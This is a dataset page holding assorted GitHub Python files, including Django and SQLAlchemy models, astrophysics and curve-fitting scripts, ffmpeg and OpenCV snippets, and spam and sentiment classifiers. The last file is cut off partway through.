anton-l/python_sample_10k · Datasets at Hugging Face

swftszn/lostandfounddatabase

16,853,451,710,491

1eca108ee82f564856d4de3b9e7c07d3d4bb37a0

fcff6eb8040679663b887907f1ed5317f9416a1e

/events/models.py

f8d7db547404e0b4a8d638cd94cfbcb772e590fa

[]

no_license

https://github.com/swftszn/lostandfounddatabase

1660211228d5dfa36a42b40ce9d98ca4e4913b74

8d4d5c4e1beb184220b77636a15e613a9dae85a3

refs/heads/master

2023-09-04T17:23:57.999388

2021-11-18T04:46:10

429,298,289

0

null

from django.db import models # Create your models here. class Event(models.Model): date = models.DateField() title = models.CharField(max_length=200) details = models.TextField()

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py

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models.py

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ascetic-monk/Lane-Detection-with-ERFNet

12,352,325,988,965

d94a5dfddf65ea2dedffa5ed8ae912a7244356e0

9562193956ef6c08e463f5e880152bd6e2d5d16e

/datasets/__init__.py

07ae4c364239da4de1d24df165e44ba9c3c981e7

[ "Apache-2.0" ]

permissive

https://github.com/ascetic-monk/Lane-Detection-with-ERFNet

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7ec860502e725b2420ea27973308c5b44bd69ccc

refs/heads/main

2023-02-03T07:14:12.576657

2020-12-23T07:16:41

325,172,973

1

0

Apache-2.0

true

2020-12-29T03:08:15

2020-12-29T03:08:14

2020-12-28T09:13:52

2020-12-23T07:16:41

26,081

0

null

false

from .lane_det import LaneDataSet

UTF-8

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py

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__init__.py

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0.848485

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dcollins4096/p19_newscripts

16,913,581,232,713

13bd907dc7e92d267d0cac28688c4599e8fb2f7b

04a643a77927bc56ab58c7df91d4733321e61e51

/p66_brho/explore/blos_ytvscyl.py

2e7debd3cac3523b400d3f88098788fa072347d1

[]

no_license

https://github.com/dcollins4096/p19_newscripts

d2fae1807170a4d70cf4c87222a6258211f993ff

23c780dd15b60944ed354406706de85282d0bee6

refs/heads/master

2023-07-21T11:53:55.188383

2023-07-18T17:38:21

215,159,839

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''' synthetic observations; version yt print(ds.field_info['gas', 'magnetic_field_los'].get_source()) def _los_field(field, data): if data.has_field_parameter(f"bulk_{basename}"): fns = [(fc[0], f"relative_{fc[1]}") for fc in field_comps] else: fns = field_comps ax = data.get_field_parameter("axis") if is_sequence(ax): # Make sure this is a unit vector ax /= np.sqrt(np.dot(ax, ax)) ret = data[fns[0]] * ax[0] + data[fns[1]] * ax[1] + data[fns[2]] * ax[2] elif ax in [0, 1, 2]: ret = data[fns[ax]] else: raise NeedsParameter(["axis"]) return ret ''' from cmath import log from re import X from turtle import width from starter2 import * import annotate_particles_4_cpy reload(annotate_particles_4_cpy) import multiplots reload(multiplots) import davetools reload(davetools) from scipy.ndimage import gaussian_filter from scipy.signal import savgol_filter from matplotlib.ticker import PercentFormatter np.set_printoptions(threshold=sys.maxsize) from icecream import ic # --- --- --- --- --- --- --- class telescope(): def __init__(self,the_loop): self.this_looper = the_loop self.cores_used = [] def qtyRun(self,sim,core_list=None): print('inside qtyRun') thtr = self.this_looper.tr # CORE_LIST all_cores = np.unique(thtr.core_ids) if core_list is None: core_list = all_cores # FIELDS STORED self.synthRho = [np.zeros(len(core_list)) for x in range(3)] self.synthRho_mid = [np.zeros(len(core_list)) for x in range(3)] self.synthField = [np.zeros(len(core_list)) for x in range(3)] self.synthField_mid = [np.zeros(len(core_list)) for x in range(3)] self.synthField_yt_i = [np.zeros(len(core_list)) for x in range(3)] self.synthField_yt_ii = [np.zeros(len(core_list)) for x in range(3)] self.synthField_midyt_i = [np.zeros(len(core_list)) for x in range(3)] self.synthField_midyt_ii = [np.zeros(len(core_list)) for x in range(3)] # THE FINAL FRAME the_frame = thtr.frames[-1:] # CORE-LOOP for nc,core_id in enumerate(core_list): ds = self.this_looper.load(the_frame[0]) ms = trackage.mini_scrubber(thtr,core_id,do_velocity=True) ms.particle_pos(core_id) self.ms = ms # PIECES FOR THE OBJECTS the_center = ms.mean_center[:,-1] the_normal = [[1,0,0],[0,1,0],[0,0,1]] the_radius = 1/128 the_area= np.pi * (the_radius**2) # MAKE THE OBJECTS: xyz = [0,1,2] the_cyl = {} the_mid_cyl = {} for i in range(3): the_cyl[xyz[i]] = ds.disk(the_center,the_normal[i],the_radius,height=(1,'code_length')) the_mid_cyl[xyz[i]] = ds.disk(the_center,the_normal[i],the_radius,height=the_radius) the_cyl[xyz[i]].set_field_parameter('axis',i) the_mid_cyl[xyz[i]].set_field_parameter('axis',i) # THE DENSITY & FIELD, ZONE METHOD & YT BLOS: 2D B = ['magnetic_field_x','magnetic_field_y','magnetic_field_z'] for j in range(3): self.synthRho[j][nc] = (the_cyl[j]['density'] * the_cyl[j]['cell_volume']).sum()/the_area self.synthRho_mid[j][nc] = (the_mid_cyl[j]['density'] * the_mid_cyl[j]['cell_volume']).sum()/the_area self.synthField[j][nc] = (the_cyl[j]['density'] * the_cyl[j][B[j]] * the_cyl[j]['cell_volume']).sum()/the_cyl[j]['gas','cell_mass'].sum() self.synthField_yt_i[j][nc] = (the_cyl[j]['magnetic_field_los'] * the_cyl[j]['cell_volume']).sum() self.synthField_yt_ii[j][nc] = (the_cyl[j]['density'] * the_cyl[j]['magnetic_field_los'] * the_cyl[j]['cell_volume']).sum()/the_cyl[j]['gas','cell_mass'].sum() self.synthField_mid[j][nc] = (the_mid_cyl[j]['density'] * the_mid_cyl[j][B[j]] * the_mid_cyl[j]['cell_volume']).sum()/the_mid_cyl[j]['gas','cell_mass'].sum() self.synthField_midyt_i[j][nc] = (the_mid_cyl[j]['magnetic_field_los'] * the_mid_cyl[j]['cell_volume']).sum() self.synthField_midyt_ii[j][nc] = (the_mid_cyl[j]['density'] * the_mid_cyl[j]['magnetic_field_los'] * the_mid_cyl[j]['cell_volume']).sum()/the_mid_cyl[j]['gas','cell_mass'].sum() # CACHE TO DISK if 0: hfivename = 'p66_brho/h5files/blos_ytvscyls_%s.h5'%(sim) Fptr = h5py.File(hfivename,'w') Fptr['synthrho'] = self.synthRho Fptr['synthrhomid'] = self.synthRho_mid Fptr['synthblos'] = self.synthField Fptr['synthblosmid'] = self.synthField_mid Fptr['synthblos_yt_i'] = self.synthField_yt_i Fptr['synthblos_yt_ii'] = self.synthField_yt_ii Fptr['synthblosmid_yt_i'] = self.synthField_midyt_i Fptr['synthblosmid_yt_ii'] = self.synthField_midyt_ii Fptr.close # MAIN import three_loopers_six as TL6 if 'clobber' not in dir(): clobber=True if 'scope1' not in dir() or clobber: scope1=telescope(TL6.loops['u601']) if 'scope2' not in dir() or clobber: scope2=telescope(TL6.loops['u602']) if 'scope3' not in dir() or clobber: scope3=telescope(TL6.loops['u603']) simnames = ['u601','u602', 'u603'] for nt,tool in enumerate([scope1,scope2,scope3]): # WHICH CORES & RUN IF NOT CACHED if 0: all_cores = np.unique(tool.this_looper.tr.core_ids) #core_list = all_cores[:2] #DEBUG core_list = all_cores tool.qtyRun(nt,core_list=core_list) #ONCE CACHED, PLOTS if 1: hfivename = 'p66_brho/h5files/blos_ytvscyls_%s.h5'%(nt) Fptr = h5py.File(hfivename,'r') synth_rho = Fptr['synthrho'][()] synth_rhomid = Fptr['synthrhomid'][()] synth_blos = Fptr['synthblos'][()] synth_blosmid = Fptr['synthblosmid'][()] synth_blosyt_one = Fptr['synthblos_yt_i'][()] synth_blosyt_two = Fptr['synthblos_yt_ii'][()] synth_blosmidyt_one = Fptr['synthblosmid_yt_i'][()] synth_blosmidyt_two = Fptr['synthblosmid_yt_ii'][()] dxyz = ['x','y','z'] color=['b','g','orange'] for i in range(3): if 1: plt.scatter(synth_blosmid[i],synth_blosmidyt_one[i],c=color[i],alpha=0.7) plt.axline((0, 0), slope=1, c='k', linewidth=0.8) #plt.xscale('log') #plt.yscale('log') plt.xlabel(r'$B_{los:x,y,z}$ SHORT') plt.ylabel(r'$B_{los:x,y,z}$ SHORT, YTM1') #plt.ylabel(r'$B_{los:x,y,z}$ LONG, YTrho') #outname ='Bpol_vs_Btol_longlog_%d_%s'%(i,simnames[nt]) outname ='Blos_ytm1_vs_us_short_%s'%(simnames[nt]) # SAVE ONE AXIS AT A TIME if 0: plt.savefig(outname) print('plotted_%d'%i) plt.close('all') # SAVING ALL AXES AT ONCE if 1: plt.savefig(outname) print('plotted_%d'%i) plt.close('all') # AND CLOSE H5 FILE Fptr.close()

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blos_ytvscyl.py

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xandrasings/UstaCertificationManager

11,931,419,155,800

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/Imports/Modules/displayOfficial.py

d0d51316c3d6c12ee216afd524e023c1f3fb7682

[]

no_license

https://github.com/xandrasings/UstaCertificationManager

362c2e4044c4fda85290c48b8ac86102908d86d6

3eb1da3bdc0f608c21ebb2c3c986f75aea7361b6

refs/heads/master

2021-09-05T00:31:19.753542

2018-01-23T04:19:28

108,066,678

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null

from ..Utilities.input import * from ..Utilities.output import * def displayOfficial(officials, disciplines, requirements, achievements, certifications): output('displayOfficial') promptContinue()

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displayOfficial.py

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astroknots/database

10,703,058,547,843

072f813a4a84a6b55aa76dcc0db81c8185a78701

4336696c123f3d82b50d8c13e367cba429401c08

/emptyApertureAnalysis_share/math_fits.py

20089db4262909591f0628532570ab87172b67d0

[]

no_license

https://github.com/astroknots/database

6713015f6a29ab29f6104b5f182f6abb49d99789

bd802b7e70cf2b3b7c0b1a3e9675fe1fdd178e14

refs/heads/master

2021-07-17T12:21:22.857666

2020-11-12T00:50:30

227,710,177

0

null

false

2020-06-14T00:15:22

2019-12-12T22:45:03

2020-06-13T22:05:34

2020-06-14T00:15:22

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Jupyter Notebook

false

import numpy as N import math_models as mm from scipy.optimize import leastsq import scipy.stats as stats import bootstrap as bs from statsmodels.formula.api import rlm def robust_linefit(x, y): """Calculates and returns linear fit to given (x,y) pairs using a robust linear fit routine. Return order is slope, standard deviation of slope, intercept and standard deviation of intercept.""" regression = rlm("y ~ x", data=dict(y=y, x=x)).fit() slope = regression.params[1]; yint = regression.params[0] # slope and intercept fit values cov = regression.bcov_scaled.x[0] sig_slope = regression.bse[1]; sig_yint = regression.bse[0]/N.sqrt(regression.nobs)*.5 # normalized standard deviation errors of the central values for the given sample. s_yint = N.sqrt(N.sum(regression.resid**2)/regression.nobs)*.6745#/1.105 # s_yint and the 1.105 is an empirical value taken from robust_linefit.pro to match IDL's routine # for the standard deviations of the given sample. return slope, sig_slope, yint, sig_yint, s_yint, cov def linearfit(x, y, runs=1e4): """Calculates and returns linear fit to given (x,y) pairs. Return order is slope, standard deviation of slope, intercept and standard deviation of intercept.""" x *= N.ones(1); y *= N.ones(1) slope, yint, r, prob2, see = stats.linregress(x, y) scale = N.mean(y) - N.mean(x) nsig = Smad(N.log10(10**y/(10**x*10**scale))) bs_slope = N.zeros(runs); bs_yint = N.zeros(runs) for i in range(bs_slope.size): bsrun = bs.bootstrap_resample(N.arange(x.size)) bsuse = N.where((10**y[bsrun]/(10**x[bsrun]*10**scale)>=10**(-1.*nsig)) & (10**y[bsrun]/(10**x[bsrun]*10**scale)<=10.**nsig)) bs_slope[i], bs_yint[i] = stats.linregress(x[bsuse], y[bsuse])[:2] sd_slope = bs_slope.std(); sd_yint = N.sqrt(sd_slope**2/bs_yint.size*N.sum(bs_yint**2)) return slope, sd_slope, yint, sd_yint def linearfit_s1(x, y): """Calculates and returns linear fit to given (x,y) pairs for slope equals 1. Return order is slope, standard deviation of slope, intercept and standard deviation of intercept. Uses robust_linefit to calculate linear parameters.""" x *= N.ones(1); y *= N.ones(1) mx = N.mean(x); my = N.mean(y) slope = 1.; yint = my-mx rl_slope, sd_slope, rl_yint, sd_yint, s_yint, cov = robust_linefit(x, y) return slope, sd_slope, yint, sd_yint, s_yint, cov def Smad(x): """Computes the median absolute deviation (see Beers et al. 1990) from a sample median.""" x *= N.ones(1) MAD = N.median(N.abs( x - N.median(x) )) Smad = MAD/0.6745 return Smad def gaussfit(x, y, peak=1., center=0., std=.1): """Calculates and returns a gaussian fit to given (x,y) pairs with intial guesses. Default initial guesses are used unless supplied by user.""" def res(p, y, x): top1, m1, std1 = p y_fit = mm.gauss(x, top1, m1, std1) err = y - y_fit return err p = [peak, center, std] # Initial guesses for leastsq plsq = leastsq(res, p, args = (y, x), maxfev=2000) return plsq[0] def gaussfit2(x, y, peak=1., center=0., std=.1): """Calculates and returns a gaussian fit to given (x,y) pairs with intial guesses. Default initial guesses are used unless supplied by user.""" def res(p, y, x): top1, top2, m1, m2, std1, std2 = p y_fit = mm.gauss(x, top1, m1, std1) + mm.gauss(x, top2, m2, std2) err = y - y_fit return err p = [peak[0], peak[1], center[0], center[1], std[0], std[1]] # Initial guesses for leastsq plsq = leastsq(res, p, args = (y, x), maxfev=2000) return plsq[0] def gaussfit3(x, y, peak=1., center=0., std=.1): """Calculates and returns a gaussian fit to given (x,y) pairs with intial guesses. Default initial guesses are used unless supplied by user.""" def res(p, y, x): top1, top2, top3, m1, m2, m3, std1, std2, std3 = p y_fit = mm.gauss(x, top1, m1, std1) + mm.gauss(x, top2, m2, std2) + mm.gauss(x, top3, m3, std3) err = y - y_fit return err p = [peak[0], peak[1], peak[2], center[0], center[1], center[2], std[0], std[1], std[2]] # Initial guesses for leastsq plsq = leastsq(res, p, args = (y, x), maxfev=2000) return plsq[0] def lorentzfit(x, y, peak=1., center=0., std=.1): """Calculates and returns a lorentzian fit to given (x,y) pairs with intial guesses. Default initial guesses are used unless supplied by user.""" def res(p, y, x): top1, m1, std1 = p y_fit = mm.lorentz(x, top1, m1, std1) err = y - y_fit return err p = [peak, center, std] # Initial guesses for leastsq plsq = leastsq(res, p, args = (y, x), maxfev=2000) return plsq[0]

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derekbekoe/azure-cli-interactive-shell

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fb3966bd03de951551146ca0c5dff27e1bc84bfa

c878aec599a3812993f5eb047ac13403313e71e7

/setup.py

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[]

no_license

https://github.com/derekbekoe/azure-cli-interactive-shell

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refs/heads/master

2021-01-22T21:27:51.471301

2017-03-17T23:47:13

null

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null

from os import path from setuptools import setup here = path.abspath(path.dirname(__file__)) DEPENDENCIES = [ 'azure-cli', 'prompt_toolkit', 'six', 'pyyaml', 'pytest', 'jmespath', ] setup( name='az-cli-shell', version='0.1.1a27', author='Microsoft Corporation', scripts=['dev_setup.py', 'az-cli'], packages=[ "azclishell", "test" ], namespace_packages=[ 'azclishell', ], url='https://github.com/oakeyc/azure-cli-interactive-shell', install_requires=DEPENDENCIES, )

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setup.py

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jake-orielly/sierpinskiTriangle

5,420,248,755,369

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8904f4b16968353b50b6532422280ae5e7160b6f

/triangles.py

bd193afa7c3d88b9862d0c226e56c3461704b693

[]

no_license

https://github.com/jake-orielly/sierpinskiTriangle

d7f84c8b3d89005aa88cf8d214d2db16cd5dc708

d267945651f9c4b679341bf25112f754de44fc01

refs/heads/master

2021-01-17T18:08:16.501713

2016-10-17T20:43:14

71,179,489

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null

import random def getAverage (q0,q1,pc0,pc1): return [((pc0+q0)/2),((pc1+q1)/2)] def main(): w = 1000 h = 1000 canvas = makeEmptyPicture(w,h) show(canvas) p0 = [w / 2, 0] p1 = [0, h - 1] p2 = [w - 1, h - 1] pc = [p0[0],p0[1]] counter = 0 points = [p0,p1,p2] while True: n = random.randrange(3) pc = getAverage(points[n][0],points[n][1],pc[0],pc[1]) px = getPixel(canvas,pc[0],pc[1]) setRed(px,((float(pc[0])/w)*256)) setGreen(px,(256-(float(pc[0])/w)*256)) setBlue(px,(256-(float(pc[1])/w)*256)) counter = counter + 1 if counter > 1000: repaint(canvas) counter = 0 return

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triangles.py

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jiteshfulwariya/gleam_n_flex_web

9,569,187,167,699

42c99835890ff6618de828052e24601a3052a5d7

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/helper_functions.py

5e817973679210e6fb5a2daa1a94a12ef459ed2b

[]

no_license

https://github.com/jiteshfulwariya/gleam_n_flex_web

3493b38c30666a02decf24e64c0a323b7e94e3da

20dea7fbf3efb57aa1e71ebb0e7ae73d3c884133

refs/heads/master

2021-05-09T15:28:49.321336

2017-12-19T18:10:35

null

0

null

import datetime def convert_date_to_epoch(date): return long(date.strftime('%s'))*1000 if date else None def convert_epoch_to_date(epoch): return datetime.datetime.fromtimestamp(long(epoch)/1000.0) if epoch else None

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helper_functions.py

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rbhanot4739/PythonPrograms

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/python3/oop/advanced_topics/property_decorators.py

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[]

no_license

https://github.com/rbhanot4739/PythonPrograms

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84b5084d873589f948d40d47bfa7d77c27e6184d

refs/heads/master

2021-05-09T22:55:48.500313

2021-01-20T12:56:39

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class Employee: def __init__(self, first, last): self.first = first self.last = last @property def email(self): return "{}.{}@email.com".format(self.first, self.last) @property def fullname(self): return "{} {}".format(self.first, self.last) @fullname.setter def fullname(self, name): fname, lname = name.split(' ') self.first = fname self.last = lname emp1 = Employee('Sid', 'Sharma') print(emp1.fullname) emp1.fullname = 'Vibhu Kaul' print(emp1.email)

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property_decorators.py

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alk3ckwd/work

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/test.py

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[]

no_license

https://github.com/alk3ckwd/work

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refs/heads/master

2021-01-23T06:34:06.056001

2017-03-27T19:10:09

86,371,108

0

null

import pandas as pd df = pd.DataFrame({'A':['A0', 'A1', 'A1'], 'B':['B0', 'B1', 'B2']}) print(df.groupby(['A'])['B'].apply(", ".join))

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test.py

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dsitum/code-eval-challenges

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/medium/NumberOfOnes.py

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[]

no_license

https://github.com/dsitum/code-eval-challenges

23e294a3206a9c47727309b082e4b128d2add592

1ffaf044fcfd23019e2b62d1d1079ca6e15b1045

refs/heads/master

2021-01-18T14:58:48.205423

2015-02-09T01:02:08

2015-02-09T01:04:45

30,512,215

0

null

#!/usr/bin/env python3 from sys import argv with open(argv[1], "r") as f: for line in f: n = int(line.rstrip()) ones = 0 while n > 0: ones += n % 2 n = int(n/2) print(ones)

UTF-8

Python

false

192

py

84

NumberOfOnes.py

82

0.557292

0.526042

0

14

12.714286

29

mourice-oduor/Python-projects

14,877,766,751,600

7c4331e06ebbc9dd7ac8a612fb8e021b379c15b3

9a95b2015b978dc89e4c8f3aab5d43b1af4a16bf

/extract-audio-from-video/ffmpeg.py

3b0e849d748fd29e11cf36835ab6e69cfa3a09e3

[]

no_license

https://github.com/mourice-oduor/Python-projects

0712aae1d237fb2f9e0ed900cc432e19250a29c8

3c6e27ac2aafe058bb8627e49064aa0f52574e0d

refs/heads/master

2020-08-31T18:00:52.931117

2020-04-22T20:30:14

218,750,487

1

0

null

#Download the FFmpeg-python file; #on the terminal, run this commands: #FFmpeg -i "name of your video file" -vn output_audio.mp3 #Extracting mp4 vid to ogg FILE="1.mp4"; ffmpeg -i "${1.mp4}" -vn -acodec libvorbis -y "${1.mp4%.mp4}.ogg" #In case we want to automatically process (batch process) all .MP4 video files in a folder we can use the following: for FILE in *.mp4; do echo -e "Processing video '\e[32m$FILE\e[0m'"; ffmpeg -i "${FILE}" -vn -acodec libvorbis -y "${FILE%.mp4}.ogg"; done

UTF-8

Python

false

520

py

33

ffmpeg.py

15

0.661538

0.632692

0

16

31.5

116

MNDSG/opencv

1,443,109,054,434

5ffedbd03af190a872f92f1cfeec4b7caae94743

a9faa1a2c3a8385b9ad873e5c05b817c3d3f300e

/不同图片质量保存.py

a33f27409e5c80e1159420db7924dccda4d63122

[]

no_license

https://github.com/MNDSG/opencv

33b82d7e31513a9183aec56a706b85292bcfa19c

8f48f0d219932daada52a6d96d5aa3b662d8ae7e

refs/heads/master

2021-05-21T14:30:01.255984

2020-04-07T08:49:52

252,681,941

0

null

false

2020-04-03T09:38:11

2020-04-03T09:00:50

2020-04-03T09:26:06

2020-04-03T09:35:42

0

1

Python

false

import cv2 img = cv2.imread("images/cat.jpg",1) # jpg格式压缩:参数3表示压缩比(0~100),0质量最差 cv2.imwrite("images/cat3.jpg",img,[cv2.IMWRITE_JPEG_QUALITY,100]) # png格式压缩:参数3表示压缩比(0~9),o质量最好 cv2.imwrite("images/test3.png",img,[cv2.IMWRITE_PNG_COMPRESSION,0])

UTF-8

Python

false

304

py

29

不同图片质量保存.py

28

0.745902

0.655738

0

7

34

67

Sommysab/DataScience-MachineLearning-AI

5,248,450,066,563

5bf0344ac9db1d6b6b331f12cde110a06bd64f7d

e7e9dfd78789db82859451c00f33a4145b9eee0a

/Python Projects/AI - Spam Detector/is_spam_or_not.py

bc574ed281c7eeb1521a5e10cce6db3bfc53af08

[]

no_license

https://github.com/Sommysab/DataScience-MachineLearning-AI

9c54a20e03456455747ddc2692075629c7f53a10

e8a0dd42b19997b7ec905ae26119dba733189ba5

refs/heads/master

2022-12-24T16:43:51.717208

2020-09-25T14:07:22

298,590,483

0

null

import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns spam_df = pd.read_csv('emails.csv') # VISUAL ham = spam_df[ spam_df['spam'] == 0] spam = spam_df[ spam_df['spam'] == 1] print('Spam Percentage =', (len(spam)/len(spam_df))*100, '%') print('Ham Percentage =', (len(ham)/len(spam_df))*100, '%') sns.countplot(spam_df['spam'], label = 'Count Spam vs. Ham') # TEST, TRAIN & CLEAN from sklearn.feature_extraction.text import CountVectorizer vectorizer = CountVectorizer() spam_ham_countvectorizer = vectorizer.fit_transform(spam_df['text']) label = spam_df['spam'].values from sklearn.naive_bayes import MultinomialNB NB_c = MultinomialNB() NB_c.fit(spam_ham_countvectorizer, label) # Testing a Record # EX 1 t_s = ['Free Money!! Grab and Grab for the last time!', 'Hi Obi, Please let me know if you need any further info.'] t_s_counvectorizer = vectorizer.transform(t_s) prediction = NB_c.predict(t_s_counvectorizer) print(prediction) # EX 2 t_s = ['Hello, this is Sab. Am currently in town, lets met!', 'Make money, get Viagra!, be the superman.'] t_s_countvectorizer = vectorizer.transform(t_s) prediction = NB_c.predict(t_s_countvectorizer) print(prediction) # NORM X = spam_ham_countvectorizer y = label from sklearn.model_selection import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2) from sklearn.naive_bayes import MultinomialNB NB_c = MultinomialNB() NB_c.fit(X_train, y_train) from sklearn.metrics import classification_report, confusion_matrix y_predict_train = NB_c.predict(X_train) cm = confusion_matrix(y_train, y_predict_train) sns.heatmap(cm, annot=True) y_predict_test = NB_c.predict(X_test) cm = confusion_matrix(y_test, y_predict_test) sns.heatmap(cm, annot=True) print(classification_report(y_test, y_predict_test))

UTF-8

Python

false

1,856

py

10

is_spam_or_not.py

8

0.719289

0.712823

0

75

23.76

115

shahrozimtiaz/codingPractice

15,315,853,400,776

91e80651b51b8d45b49086df1c7619783edfd996

a03ad4bbd84238124e07dfe378a82bcbbaf18597

/python Practice/allComboCoverage.py

763498f79a3ed17741fe1ebefb0b54bfdc7a26db

[]

no_license

https://github.com/shahrozimtiaz/codingPractice

3f2b8ede7663f3610d901877656b546bc6aa7d28

9bd1161dd4c4cc425629ff0c39f051eea74acc54

refs/heads/master

2020-07-13T10:14:05.958991

2020-03-14T18:57:39

205,062,836

0

null

#REQUIREMENTS # a1,a2,a3,a4 = 'non-empty string without special characters', 'non-empty string with special characters', 'more than 1 string as input','empty string' # b1,b2,b3 = 'clear chosen strings', 'submit', 'restart' # c1,c2 = 'with replacement', 'without replacement' # d1,d2 = 'clicked', 'not clicked' #TEST CASES a1,a2,a3,a4 = '"software testing"', '"software\\ntesting"', '"software""testing"','""' b1,b2,b3 = 'clear chosen strings', 'submit', 'restart' c1,c2 = 'with replacement', 'without replacement' d1,d2 = 'click refresh', 'don\'t click refresh' a = [a1,a2,a3,a4] b = [b1,b2,b3] c = [c1,c2] d = [d1,d2] i = 1 for ab in a: s = '{ ' + ab for bb in b: s1 = ', ' + bb s+= s1 for cb in c: s2 = ', ' + cb s+= s2 for db in d: s3 = ', ' + db + ' }' s += s3 print('TC{}:\n inputs ={}\n expected output:\n input box:\n output box:\n string chosen box:\n'.format(i, s)) i += 1 s = s[:-len(s3)] s = s[:-len(s2)] s = s[:-len(s1)]

UTF-8

Python

false

1,108

py

97

allComboCoverage.py

85

0.51444

0.473827

0

33

32.606061

151

AfifCeshter/ccp

19,086,834,704,300

f7ca746f8a7284013f385e42b977934097e35176

eeb0df786140d749f178d24f78c7fe7466e9ab9b

/app/databases/models/computer.py

a8be80bbe427b52f177739f6e65d50d7af7a193d

[]

no_license

https://github.com/AfifCeshter/ccp

daa8feb690487c0d912783dce5e95a88eee4ab10

a69404429eee6d443535c60fee32fb9bd53e0d11

refs/heads/master

2023-03-01T18:26:01.017852

2021-02-16T07:15:21

null

0

null

from app.databases.db_sql import db_sql from app.utils.time_utils import datetime_jakarta, timestamp_jakarta class Computer(db_sql.Model,): id = db_sql.Column(db_sql.Integer(), primary_key=True) computer_id = db_sql.Column(db_sql.String(40), nullable=False, unique=True) computer_name = db_sql.Column(db_sql.String(32), nullable=False) computer_location = db_sql.Column(db_sql.String(32), nullable=False) computer_power_status = db_sql.Column(db_sql.Integer(), default=0, nullable=False) # 0: off, 1: on computer_cmd = db_sql.Column(db_sql.Integer(), default=1, nullable=False) # 0: off, 1: on, 2: restart computer_cmd_date = db_sql.Column(db_sql.Integer(), default=timestamp_jakarta(), nullable=False) computer_ping_timestamp = db_sql.Column(db_sql.Integer(), default=timestamp_jakarta(), nullable=False) computer_instance = db_sql.Column(db_sql.String(32), nullable=False) created = db_sql.Column(db_sql.DateTime()) updated = db_sql.Column(db_sql.DateTime()) def add_timestamp(self): self.created = datetime_jakarta() self.updated = self.created def update_timestamp(self): self.updated = datetime_jakarta() @staticmethod def add(data): try: data.add_timestamp() db_sql.session.add(data) db_sql.session.commit() return True except Exception as e: print(e) db_sql.session.rollback() db_sql.session.flush() return False @staticmethod def update(data): try: data.update_timestamp() db_sql.session.commit() return True except Exception as e: print(e) db_sql.session.rollback() db_sql.session.flush() return False @staticmethod def delete(id_data): try: data = Computer.query.get(id_data) db_sql.session.delete(data) db_sql.session.commit() return True except Exception as e: print(e) db_sql.session.rollback() db_sql.session.flush() return False def to_dict(self): data = { 'id': self.computer_id, 'name': self.computer_name, 'location': self.computer_location, 'power_status': self.computer_power_status, 'instance': self.computer_instance, 'cmd': self.computer_cmd, 'cmd_date': self.computer_cmd_date } return data def on_ping(self): try: self.computer_ping_timestamp = timestamp_jakarta() self.computer_power_status = 1 db_sql.session.commit() except Exception as e: print(e) db_sql.session.rollback() db_sql.session.flush() def on_action(self): self.computer_cmd_date = timestamp_jakarta()

UTF-8

Python

false

2,944

py

15

computer.py

8

0.586617

0.581182

0

86

33.232558

106

Elzewire/class_board_images_recognition

13,812,614,827,103

ec3ba1bb1ab5bb26d9a506f17938c6f5d6f5ce58

b3804e689c0fb9bf7c93d10fc3c1ffa21b9cd652

/recognition/decoder.py

0ba80cf96e08049663c650147a81e2aa5f3472bc

[]

no_license

https://github.com/Elzewire/class_board_images_recognition

badbc8e47ad5dcf12a8d809dd29863eece97b5d5

43079048cc0932f0beabddf474a34f6160727693

refs/heads/main

2023-06-05T00:12:47.107730

2021-06-21T17:28:13

378,292,535

0

null

from difflib import get_close_matches import numpy as np def load_dict(lang='ru'): path = 'data/corpus.txt' if lang == 'ru': path = 'data/corpus_ru.txt' words = [] f = open(path, encoding='utf-8') for line in f.readlines(): for x in line.split(' '): words.append(x) return words def dict_decode(sequences, lang='ru'): results = [] for s in sequences: matches = set(get_close_matches(s, load_dict(lang), cutoff=.7)) if matches: for m in matches: results.append(m) return results

UTF-8

Python

false

594

py

61

decoder.py

18

0.563973

0.560606

0

28

20.214286

71

3xepy/binance-hackathon

2,199,023,274,339

59c7cee48312b91b23e8520078c81a3bace81193

1e71eb6c691815aa2f7ce42e053d35e4109ca2ce

/config/states.py

b89b097c6fc4cad040e60a9272cf3db5f624e4bb

[]

no_license

https://github.com/3xepy/binance-hackathon

9d73f333fe06eac5c52fe9828d2949d3c39d33a3

a63b28fefba4ca6e6683c645e62312888511590c

refs/heads/master

2023-04-10T05:09:18.937306

2021-09-12T08:13:08

356,512,081

2

0

null

from aiogram.dispatcher.filters.state import State, StatesGroup class CheckAddress(StatesGroup): eth = State() bsc = State()

UTF-8

Python

false

135

py

7

states.py

5

0.733333

0

6

21.5

63

gystar/ml_hws

8,340,826,517,521

6a8179cf413c113c59b714ef022bdd77d23766eb

38cb30acd3074e30e21e7ac668af2ec515506bfa

/hw4/sentiment.py

5dda888860d1eeeafb6f6ba7b29903af22f0f557

[]

no_license

https://github.com/gystar/ml_hws

0add17e0e9527ecae588836e750b417fa02280a8

bd2487e796f602c67329cdda385ae089360e7a4d

refs/heads/main

2023-04-08T18:15:23.282596

2021-04-06T12:52:39

316,701,471

0

1

null

# 语义识别的RNN模型定义 # 输入语句向量，输出属于positive的概率 from torch import nn import torch import math import numpy as np import matplotlib.pyplot as plt import importlib import utils importlib.reload(utils) cuda_ok = torch.cuda.is_available() print("Cuda is available" if cuda_ok else "There is no gpu available.") class SentimentModel(nn.Module): def __init__(self, dim_word): super(SentimentModel, self).__init__() HSIZE = 512 self.rnns = nn.LSTM(input_size=dim_word, hidden_size=HSIZE, num_layers=3, batch_first=False, # 第二维为batch ) self.fcs = nn.Sequential( nn.Linear(HSIZE, 256), nn.Linear(256, 1), nn.Sigmoid() ) def forward(self, x): _, (x, _) = self.rnns(x) # 只取hn来使用 x = x.squeeze(0) x = self.fcs(x) return x[-1] def predict(model, sentenses, wv): # 预测一个大的文本集合，因为较大，所以不宜全部放进内容进行计算 nbatch = 5000 ret = torch.tensor([]).cuda() if cuda_ok else torch.tensor([]) m = model.cuda() if cuda_ok else model.cpu() m.eval() with torch.no_grad(): for i in range(0, len(sentenses), nbatch): x_sentense = sentenses[i:min( len(sentenses), i+nbatch)] vecs = utils.sens2vecs(x_sentense, wv) if cuda_ok: vecs = vecs.cuda() y_pred = m(vecs).squeeze() ret = torch.cat((ret, y_pred), 0) return ret.cpu() def train_model(sentenses, labels, wv, dim_word, model = None, epochs=10, nbatch=100): if model == None:#否则继续训练 model = SentimentModel(dim_word) if cuda_ok: model = model.cuda() loss_func = nn.BCELoss() # 损失函数 opt = torch.optim.Adam(model.parameters(), lr=1e-3) iters = math.ceil(len(sentenses)/nbatch) loss_all = np.zeros(epochs) for i in range(epochs): model.train() loss_sum = 0 for j 